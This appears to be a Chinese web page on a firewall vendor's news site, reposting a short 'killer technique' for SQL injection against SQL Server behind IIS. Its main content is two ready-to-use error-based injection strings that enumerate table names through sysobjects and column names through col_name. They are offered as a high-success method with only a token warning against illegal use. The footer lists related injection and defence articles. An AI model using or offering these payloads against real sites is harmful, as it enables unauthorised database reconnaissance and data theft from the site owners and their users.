English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 业界动态 >> SQLSERVER注入必殺技
 

SQLSERVER注入必殺技

威盾防火墙 2014-12-23
 

SQLSERVER注入必殺技 
必殺技成功條件：
1.找到注入點
2.數據庫為SQLSERVER
3.IIS沒屏蔽錯誤提示

注：因必殺技是我研究N久的心得，經多次改良，成功率極高。請不要用於不合法用途上，否則後果自負。

[N] = 第N個表
ID=1 and (Select top 1 name from(Select top [N] idname from sysobjects where xtype=char(85)) T order by id desc)>1

[T] = 表名
[N] = 第N個字段
ID=1 and (Select Top 1 col_name(object_id([T])[N]) from sysobjects)>1

相关内容： 最新内容：
SQL injection的实现与应用[2014-12-23]
SQL注入天书 - ASP注入漏洞全接触[2014-12-23]
浅谈sql注入式(SQL injection)攻击与防范[2014-12-23]
MySQL Proxy（解决注入的另一思路）[2014-12-23]
Web2Project 2.3 SQL注入漏洞及修复[2014-12-23]
First Escort Marketing多个SQL注入漏洞及修复[2014-12-23]
 SQL injection的实现与应用[2014-12-23]
一段防注入的通用脚本[2014-12-23]
打造IIS网站的专用“护心甲”—实战SSL加密[2014-12-23]
SQL注入天书 - ASP注入漏洞全接触[2014-12-23]
浅谈sql注入式(SQL injection)攻击与防范[2014-12-23]
和我一起学PHP手工注入[2014-12-23]